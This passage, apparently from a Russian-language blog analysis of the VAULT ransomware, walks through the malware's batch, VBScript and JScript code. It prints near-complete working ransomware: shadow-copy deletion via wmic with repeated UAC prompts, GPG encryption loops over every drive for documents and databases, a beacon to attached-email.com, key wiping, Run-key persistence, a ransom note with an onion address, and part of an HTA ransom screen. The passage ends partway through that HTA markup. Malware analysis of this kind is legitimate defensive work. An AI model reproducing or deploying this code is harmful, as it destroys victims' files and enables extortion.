    • 59665d79.vbs — файл VBScript, который удаляет теневые копии тома командой
      wmic.exe shadowcopy delete /nointeractive
      (подробнее про команду можно почитать, например, здесь (англ.));
    • acda3f33.js — файл WScript, единственное предназначение которого — запуск файла 69aca909.cmd;
    • 69aca909.cmd — проверяет, какая версия ОС установлена на ПК; если значение параметра реестра «CurrentVersion» в ветке HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion равно 6 (как в Windows 7), то запускаются 16 экземпляров скрипта 59665d79.vbs, который удаляет теневые копии. После этого файлы 59665d79.vbs и acda3f33.js удаляются, а в файл 69aca909.cmd вместо программного кода записывается число 1107cc4c.

    Далее с помощью wscript.exe запускается файл acda3f33.js, который, в свою очередь, запускает файл 69aca909.cmd.

    Код (чуть отформатирован, чтобы было проще читать):
    echo Set objShell = CreateObject^("Shell.Application"^) > "%temp%\59665d79.vbs"
    echo Set objWshShell = WScript.CreateObject^("WScript.Shell"^) >> "%temp%\59665d79.vbs"
    echo Set objWshProcessEnv = objWshShell.Environment^("PROCESS"^) >> "%temp%\59665d79.vbs"
    echo objShell.ShellExecute "wmic.exe", "shadowcopy delete /nointeractive", "", "runas", 0 >> "%temp%\59665d79.vbs"
    
    echo 
    var cdp="%%TEMP%%\\69aca909.cmd";
    var WshShell=CreateObject("WScript.Shell");
    cdp=WshShell.ExpandEnvironmentStrings(cdp);
    function CreateObject(fq){
      return new ActiveXObject(fq)
    }
    function xx(cdp){
      WshShell.Run(cdp,0,0);
    }
    xx(''+cdp+'');
    > "%temp%\acda3f33.js"
    
    echo.> "%temp%\69aca909.cmd"
    echo SetLocal EnableDelayedExpansion>> "%temp%\69aca909.cmd"
    echo for /f "tokens=2*" %%%%i in ^('reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentVersion"'^) do set fnd7=%%%%j>> "%temp%\69aca909.cmd"
    echo if not %%fnd7:~0,1%% GEQ 6 goto a3811a18>> "%temp%\69aca909.cmd"
    echo set ntries=^0>> "%temp%\69aca909.cmd"
    echo :3c843d11>> "%temp%\69aca909.cmd"
    echo wscript.exe //B //Nologo "%%temp%%\59665d79.vbs"^& tasklist^|findstr /i wmic.exe>> "%temp%\69aca909.cmd"
    echo if not ^^!errorlevel^^!==0 ^(>> "%temp%\69aca909.cmd"
    echo set /a ntries+=^1>> "%temp%\69aca909.cmd"
    echo if not ^^!ntries^^! GEQ 16 goto 3c843d11>> "%temp%\69aca909.cmd"
    echo ^)>> "%temp%\69aca909.cmd"
    echo :a3811a18>> "%temp%\69aca909.cmd"
    echo del /f /q "%temp%\acda3f33.js">> "%temp%\69aca909.cmd"
    echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd"
    echo echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd"
    echo echo 1107cc4c ^> "%%temp%%\69aca909.cmd">> "%temp%\69aca909.cmd"
    
    start wscript.exe //B //Nologo "%temp%\acda3f33.js"
    

    NB:
    Если включен UAC, то при попытке удалить теневые копии он выдаст предупреждающее сообщение:



    Однако команда удаления теневых копий вызывается 16 раз — видимо, с тем расчетом, что на тринадцатый или четырнадцатый раз пользователь сдастся и нажмет «Да».

    Что ж — справедливо. Я бы, пожалуй, нажал.

    Если упорно нажимать «Нет» до победного — теневые копии не удалятся.



    Ну а если все-таки нажать «Да»…



    Затем для файлов различных типов последовательно вызываются нескольких процедур подготовки к шифрованию. Алгоритм абсолютно тот же, что и для файлов с расширениями «xls» и «doc», который выполнялся ранее:
    • вначале для каждого файла заданного типа в файл %temp%\61231f25.9db8b89a записывается набор команд для шифрования, а в файл %temp%\21b0fb7b.7ca0ec0c дописывается имя исходного файла;
    • Затем в файл %temp%\61231f25.9db8b89a дописывается проверка, нет ли в каталогах %TeMp%, %AppDATA% и %USERPROFILE% файла VAULT.KEY. Если такие файлы находятся, то в них дописывается сообщение об успешном завершении очередной стадии шифрования файлов.

    Довольно много одинаковых строчек:
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :c68cd952 %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 02FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto 9b100e11
    
    :c68cd952
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.pdf *.rtf) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    
    :9b100e11
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :a556dfcb %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 03FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto cd9f3e2a
    
    :a556dfcb
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.psd *.dwg *.cdr) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    
    :cd9f3e2a
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :071faa5e %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 04FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto e0aede1c
    
    :071faa5e
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.cd *.mdb *.1cd *.dbf *.sqlite) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    
    :e0aede1c
    FOR %%s IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :f941ecc1 %%s
    echo if exist "%%TeMp%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 05FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto ca70214e
    
    :f941ecc1
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.jpg *.zip) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    
    :ca70214e
    


    4.3 Создание VAULT.KEY



    Вначале в папке "%Temp%" создается JS-файл со случайным именем, который при запуске обращается к веб-ресурсу attached-email.com/c1.php (на данный момент не функционирует).

    Код:
    set loco=!random!!random!
    echo function CreateObject^(b^){return new ActiveXObject^(b^)} >> !loco!.js
    echo function ok^(b^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^)} >> !loco!.js
    echo ok^("http://attached-email.com/c1.php"^); >> !loco!.js
    wscript.exe //B //nologo //T:40 "!loco!.js"
    

    Зачем нужно это обращение — тоже загадка. Скорее всего, просто для статистики, которую собирают производители ПО.

    Аналитика, конверсия, рентабельность… Ах.

    Далее в файл 61231f25.9db8b89a, где хранится подпрограмма шифрования, добавляется команда записи маркеров успешного окончания очередного этапа работы скрипта в файлы VAULT.KEY, расположенные в папках %TeMp%, %AppDATA% и %USERPROFILE%\Desktop. После этого в файл 61231f25.9db8b89a добавляется команда записи в файл %TeMp%\4c2e533d.cmd числа 1e759748 и последующее удаление самого файла %TeMp%\4c2e533d.cmd.

    Код:
    echo echo FHASH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo echo FHASH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo echo FHASH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo echo 1e759748 ^> "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a"
    echo del /f /q "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a"
    

    Затем из файла %temp%\21b0fb7b.7ca0ec0c, где хранятся исходные имена пользовательских файлов, которые будут зашифрованы, исключаются системные файлы. Это делается в два этапа: вначале из списка удаляются строки, в которых присутствуют «системные» слова (например, windows или msoffice), а затем — строки, в которых присутствуют названия служебных и временных каталогов системы.

    Аналогичная операция производится с файлом, где хранится код скрипта шифрования (%temp%\61231f25.9db8b89a).

    Результаты сохраняются в файлы %temp%\8f9c3dbb.9767d548 и %temp%\4c2e533d.cmd соответственно. После этого файлы с исходными и промежуточными списками удаляются.

    Код:
    findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\21b0fb7b.7ca0ec0c"> "%temp%\97cf86b0.e479bce7"
    findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\61231f25.9db8b89a"> "%temp%\f2a431bc.6ccc04ec"
    findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\97cf86b0.e479bce7"> "%temp%\8f9c3dbb.9767d548"
    findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\f2a431bc.6ccc04ec"> "%temp%\4c2e533d.cmd"
    del /f /q "%temp%\97cf86b0.e479bce7"
    del /f /q "%temp%\f2a431bc.6ccc04ec"
    del /f /q "%temp%\21b0fb7b.7ca0ec0c"
    del /f /q "%temp%\61231f25.9db8b89a"
    

    NB:
    Интересно, чем обусловлен такой выбор ключевых слов… Скажем, windows и program мне еще понятны. Но avatars? abbyy?!

    Далее в файл %temp%\3637bf69.36ddf8fe, где хранится техническая информация о работе скрипта, дописывается очередная порция данных:
    • одно из случайных чисел, сгенерированных в начале работы скрипта;
    • общее количество зашифрованных файлов;
    • количество зашифрованных файлов по конкретным расширениям (xls, doc и т. д.).

    Затем в файл 8f9c3dbb.9767d548, где содержится список зашифрованных файлов, дописывается пустая строка и то же случайное число, сгенерированное в начале работы скрипта. После этого удаляется JS-файл, созданный ранее со случайным именем в папке %Temp% и обращавшийся к адресу attached-email.com/c1.php.

    Код:
    echo XCONF: !58d179b8!>> "%temp%\3637bf69.36ddf8fe"
    set 3a3b7af1=66668
    for /f %%f in ('find /c /v ""^< "%temp%\8f9c3dbb.9767d548"') do (
    set 3a3b7af1=%%f
    )
    echo QNTTY: !3a3b7af1!>> "%temp%\3637bf69.36ddf8fe"
    for %%c IN (01:xls 04:doc 05:rtf 10:pdf 11:psd 12:dwg 13:cdr 19:cd 20:mdb 21:1cd 23:dbf 24:sqlite 26:jpg 27:zip) do (
    for /f "tokens=1,2 delims=:" %%i in ("%%c") do (
    for /f %%b in ('find /c /i ".%%j"^< "%temp%\8f9c3dbb.9767d548"') do (
    echo %%iEXT: %%b>> "%temp%\3637bf69.36ddf8fe"
    )))
    echo 02EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 03EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 06EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 07EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 08EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 09EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 14EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 15EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 16EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 17EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 18EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 22EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 25EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 28EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 29EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo.>> "%temp%\8f9c3dbb.9767d548"
    echo XCONF: !58d179b8!>> "%temp%\8f9c3dbb.9767d548"
    del /f /q "!loco!.js"
    

    Далее создаются печально известный VAULT.KEY (это зашифрованный файл %temp%\3637bf69.36ddf8fe, в котором хранится ключевая информация и данные о работе скрипта) и CONFIRMATION.KEY (это зашифрованный файл %temp%\8f9c3dbb.9767d548, в котором хранится список имен зашифрованных файлов и немного служебной информации). Шифрование происходит двумя различными командами GPG (видимо, на случай, если с первого раза команда не отработает).

    Если после двух попыток VAULT.KEY так и не получилось создать, управление переходит к метке 6d0f24b8, где располагается код процедуры на VB (будет рассмотрен далее).

    В конец файла VAULT.KEY дописываются сгенерированные в начале работы скрипта случайные числа.

    Код:
    "%temp%\gpg.exe" --import "%temp%\03dfb98e.7087b06e"
    del /f /q "%temp%\03dfb98e.7087b06e"
    "%temp%\gpg.exe" -r recipient  --yes -q --no-verbose --trust-model always -o "%temp%\VAULT.KEY" -e "%temp%\3637bf69.36ddf8fe"
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\CONFIRMATION.KEY" -e "%temp%\8f9c3dbb.9767d548"
    if not exist "%temp%\VAULT.KEY" (
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\3637bf69.36ddf8fe"
    RENAME "%temp%\3637bf69.36ddf8fe.gpg" VAULT.KEY
    )
    if not exist "%temp%\CONFIRMATION.KEY" (
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\8f9c3dbb.9767d548"
    RENAME "%temp%\8f9c3dbb.9767d548.gpg" CONFIRMATION.KEY
    )
    if not exist "%temp%\VAULT.KEY" (
    del /f /q "%temp%\*.vlt"
    del /f /q "%temp%\*.gpg"
    del /f /q "%temp%\random_seed"
    del /f /q "%temp%\*.lock"
    del /f /q "%temp%\*.bak"
    del /f /q "%temp%\*.list"
    goto 6d0f24b8
    )
    echo.>> "%temp%\VAULT.KEY"
    echo 01FNSH-!715c7be3!>> "%temp%\VAULT.KEY"
    echo 02FNSH-!b67b5d00!>> "%temp%\VAULT.KEY"
    echo 03FNSH-!db5a2d8a!>> "%temp%\VAULT.KEY"
    echo 04FNSH-!dc841a88!>> "%temp%\VAULT.KEY"
    echo 05FNSH-!ee1f189d!>> "%temp%\VAULT.KEY"
    echo FHASH-!2162ea2b!>> "%temp%\VAULT.KEY"
    

    NB:
    Перед шифрованием из файла %temp%\03dfb98e.7087b06e импортируется открытый ключ злоумышленников. Утилита GPG опознает ключ как принадлежащий пользователю VaultCrypt:



    Больше никаких внешних ключей в GPG не импортируется, однако вначале скрипт пытается зашифровать ключевой файл, используя ключ пользователя recipient:

    "%temp%\gpg.exe" -r recipient  --yes -q --no-verbose --trust-model always -o "%temp%\VAULT.KEY" -e "%temp%\3637bf69.36ddf8fe"
    

    Естественно, эта попытка терпит неудачу. Зачем это делается и какую функцию выполняет ключ пользователя recipient — так и осталось для меня загадкой.

    Неужели недоработка?

    Затем вся информация GPG о закрытом ключе тщательно затирается несколько раз. Файлы, используемые утилитой GPG в работе, удаляются.

    Файлы VAULT.KEY и CONFIRMATION.KEY копируются из папки %temp% в AppData и на рабочий стол (%userprofile%\Desktop). Кроме того, в папке %temp% создается резервная копия VAULT.KEY с именем 4077430c_VAULT.KEY, куда дописываются маркеры успешного завершения работы скрипта.

    Код:
    echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e> "%temp%\secring.qpq"
    echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\secring.qpq"
    echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c>> "%temp%\secring.qpq"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\secring.qpq"
    echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\secring.qpq"
    echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\secring.qpq"
    move /y "%temp%\secring.qpq" "%temp%\secring.gpg"
    echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c> "%temp%\36ddf8fe3637bf69.qpq"
    echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq"
    echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq"
    move /y "%temp%\36ddf8fe3637bf69.qpq" "%temp%\3637bf69.36ddf8fe"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952> "%temp%\9767d5488f9c3dbb.qpq"
    echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\9767d5488f9c3dbb.qpq"
    echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\9767d5488f9c3dbb.qpq"
    move /y "%temp%\9767d5488f9c3dbb.qpq" "%temp%\8f9c3dbb.9767d548"
    del /f /q "%temp%\secring.gpg"
    del /f /q "%temp%\3637bf69.36ddf8fe"
    del /f /q "%temp%\8f9c3dbb.9767d548"
    del /f /q "%temp%\21b0fb7b.7ca0ec0c"
    del /f /q "%temp%\random_seed"
    del /f /q "%temp%\trustdb.gpg"
    del /f /q "%temp%\secring.gpg"
    del /f /q "%temp%\*.lock"
    del /f /q "%temp%\*.bak"
    attrib -s -h -r "%AppData%\gnupg\*.*"
    attrib -s -h -r "%AppData%\gnupg"
    del /f /q "%AppData%\gnupg\*.*"
    rmdir /s /q "%AppData%\gnupg"
    copy /y "%temp%\CONFIRMATION.KEY" "%appdata%\CONFIRMATION.KEY"
    copy /y "%temp%\VAULT.KEY" "%appdata%\VAULT.KEY"
    copy /y "%temp%\VAULT.KEY" "%temp%\4077430c_VAULT.KEY"
    echo 01FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 02FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 03FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 04FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 05FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo FHASH-OK>> "%temp%\4077430c_VAULT.KEY"
    attrib +r "%temp%\4077430c_VAULT.KEY"
    copy /y "%temp%\VAULT.KEY" "%userprofile%\Desktop\VAULT.KEY"
    

    Далее в папке %temp% создается файл vault.txt, содержащий инструкции по получению ключа шифрования. После записи в этот файл всех указаний он копируется на рабочий стол пользователя и помечается атрибутом «скрытый».

    Код:
    echo.> "%temp%\VAULT.txt"
    echo Ваши рабочие документы и базы данных были заблокированы и помечены форматом .vаult >> "%temp%\VAULT.txt"
    
    echo Для их восстановления необходимо получить уникальный ключ>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo   ПРОЦЕДУРА ПОЛУЧЕНИЯ КЛЮЧА: >> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo КРАТКО>> "%temp%\VAULT.txt"
    echo 1. Перейдите на наш веб-ресурс>> "%temp%\VAULT.txt"
    echo 2. Гарантированно получите Ваш ключ>> "%temp%\VAULT.txt"
    echo 3. Восстановите файлы в прежний вид>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo ДЕТАЛЬНО>> "%temp%\VAULT.txt"
    echo   Шаг 1:>> "%temp%\VAULT.txt"
    echo Скачайте Tor браузер с официального сайта: http://torproject.org>> "%temp%\VAULT.txt"
    echo   Шаг 2:>> "%temp%\VAULT.txt"
    echo Используя Tor браузер посетите сайт: http://restoredz4xpmuqr.onion>> "%temp%\VAULT.txt"
    echo   Шаг 3:>> "%temp%\VAULT.txt"
    echo Найдите Ваш уникальный VAULT.KEY на компьютере - это Ваш ключ к личной клиент-панели. Не удалите его>> "%temp%\VAULT.txt"
    echo Авторизируйтесь на сайте используя ключ VAULT.KEY>> "%temp%\VAULT.txt"
    echo Перейдите в раздел FAQ и ознакомьтесь с дальнейшей процедурой>> "%temp%\VAULT.txt"
    echo   STEP 4:>> "%temp%\VAULT.txt"
    echo После получения ключа, Вы можете восстановить файлы используя наше ПО с открытым исходным кодом или же безопасно использовать своё ПО>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo ДОПОЛНИТЕЛЬНО>> "%temp%\VAULT.txt"
    echo a^) Вы не сможете восстановить файлы без уникального ключа ^(который безопасно хранится на нашем сервере^)>> "%temp%\VAULT.txt"
    echo b^) Если Вы не можете найти Ваш VAULT.KEY, поищите во временной папке TEMP >> "%temp%\VAULT.txt"
    echo c^) Ваша стоимость восстановления не окончательная, пишите в чат>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo   Дата блокировки: %date% ^(%time:~0,5%^)>> "%temp%\VAULT.txt"
    copy /y "%temp%\VAULT.txt" "%userprofile%\Desktop\vault.txt"
    attrib +h "%userprofile%\Desktop\vault.txt"
    

    Далее скрипт создает еще один JS-файл (%temp%\e33176c1.js), который запускает на выполнение скрипт %temp%\4c2e533d.cmd, содержащий подпрограмму шифрования файлов.

    После создания JS-файла в GPG импортируется открытый ключ, созданный в начале работы скрипта (как раз этим ключом будут шифроваться все файлы). В реестр добавляются несколько команд автозапуска — в том числе, запуск процедуры шифрования (%temp%\e33176c1.js) при загрузке системы.

    Код:
    echo var cdp="%%TeMp%%\\4c2e533d.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');>> "%temp%\e33176c1.js"
    "%TEMP%\gpg.exe" --import "%TEMP%\pubring.gpg"
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /t REG_SZ /f /d "notepad %temp%\VAULT.txt"
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /t REG_SZ /f /d "attrib -h %userprofile%\Desktop\vault.txt"
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /t REG_SZ /f /d "wscript //B //Nologo %temp%\e33176c1.js"
    


    4.4 Шифрование файлов



    К этому моменту скрипт шифрования файлов уже подготовлен, теневые копии удалены, закрытый ключ зашифрован, ключевая информация затерта.

    Наконец-то запускается созданный скрипт шифрования файлов. Понеслась, хо-хо!

    call "%temp%\4c2e533d.cmd"
    


    4.5 Подготовка сообщения для пользователя



    Следующий шаг — создание HTML-страницы, которая будет отображаться на экране пользователя при попытке открыть файл с расширением «vault».

    Код:
    echo ^<html^>^<head^>^<hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "Yes" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/^>^<style^>body{cursor:default;background-color:#E7E7E7;margin:0;font-family:"HelveticaNeue-Light","Helvetica Neue Light","Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaAgMAAADUJKRdAAAACVBMVEXs7Ozv7+/6+vqH/Ct2AAAAW0lEQVQI11WOsQ2DABADv8gAGQFd4SJTZARGQC5cMBX1T0mD4ClP9lmutf71qW/t3d19VBLDcrNR7KV+F4Mx28OKyMzf/UDINvYADR9A08cwfcnjDwmarOBn7wSqEUpFZuJdBQAAAABJRU5ErkJggg==)}.vaustyle{margin:10px;height:520px;width:1100px}.sc{margin:10px 150px;font-size:40px;width:900px;padding:20px;background-color:#7a7a7a;color:#FF4C4C;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}.briefly{position:absolute;left:50px;width:480px}.detailed{display:inline-block;margin-left:530px;width:660px}.bti{background-color:#DFDFDF;color:#555;font-size:28px;padding:10px}hr{width:90%%}.sced{margin-top:15px;text-align:center;font-size:27px;height:220px;padding:20px;background-color:#6a6a6a;line-height:1.5;color:#EAEAEA;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}form{display:inline}.dbutt{margin-left:2px;font-size:16px;font-weight:500;border:none;background-color:#9f9f9f;color:#EEE;cursor:pointer}.footer{text-align:left;position:relative;width:600px;margin:2px 2px 2px 45px;height:16px;font-size:15px;background-color:#CFCFCF;color:#444;padding:6px}.fnl{font-size:21px}^</style^>^<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/^>^<title^>Vault Notification^</title^>^<script language="vbscript"^>> "%temp%\ddae25beb5b57d6e.hta"
    echo sub Window_Onload>> "%temp%\ddae25beb5b57d6e.hta"
    echo window.resizeTo 1280,725>> "%temp%\ddae25beb5b57d6e.hta"
    echo screenWidth = Document.ParentWindow.Screen.AvailWidth>> "%temp%\ddae25beb5b57d6e.hta"
    echo screenHeight = Document.ParentWindow.Screen.AvailHeight>> "%temp%\ddae25beb5b57d6e.hta"
    echo posLeft = (screenWidth - 1280) / 2 >> "%temp%\ddae25beb5b57d6e.hta"
    echo posTop = (screenHeight - 725) / 2 >> "%temp%\ddae25beb5b57d6e.hta"
    echo window.moveTo posLeft, posTop >> "%temp%\ddae25beb5b57d6e.hta"
    echo end sub >> "%temp%\ddae25beb5b57d6e.hta"
    echo ^</script^>^</head^>^<body scroll="no"^>^<div class="vaustyle"^>^<div class="sc"^>Ваши документы и базы данных были зашифрованы и помещены в^<br^>^☢^ ^<b^>формат .VAULT^</b^>^ ^☢^</div^>^<div class="sc" style="font-size:20px;width:800px;margin-left:200px;color:#EAEAEA;"^>Для их восстановления необходимо получить ^<b^>Ваш ключ^</b^>^</div^>^<br^>^<div class="briefly"^>^<div class="bti"^>^<b^>Кратко:^</b^>^</div^>^<div class="sced"^>Необходимо произвести 3 шага:^<hr^> ^➠ Перейдите на наш веб-ресурс^<br^> ^Ⓑ Получите свой ключ^<br^>^⤷ ^<b^>Восстановите файлы^</b^>^</div^>^</div^>^<div class="detailed"^>^<div class="bti"^>^<b^>Детально:^</b^>^</div^>^<div class="sced"^>Скачайте ^<b^>Tor^</b^> браузер с оф. сайта ^<form action="http://dist.torproject.org/torbrowser/4.5.2/torbrowser-install-4.5.2_ru.exe"^>^<input class="dbutt" type="submit" value="⇣ Загрузить"^>^</form^>^<form action="https://www.torproject.org/projects/torbrowser.html.en#windows"^>^<input class="dbutt" type="submit" value="Help" 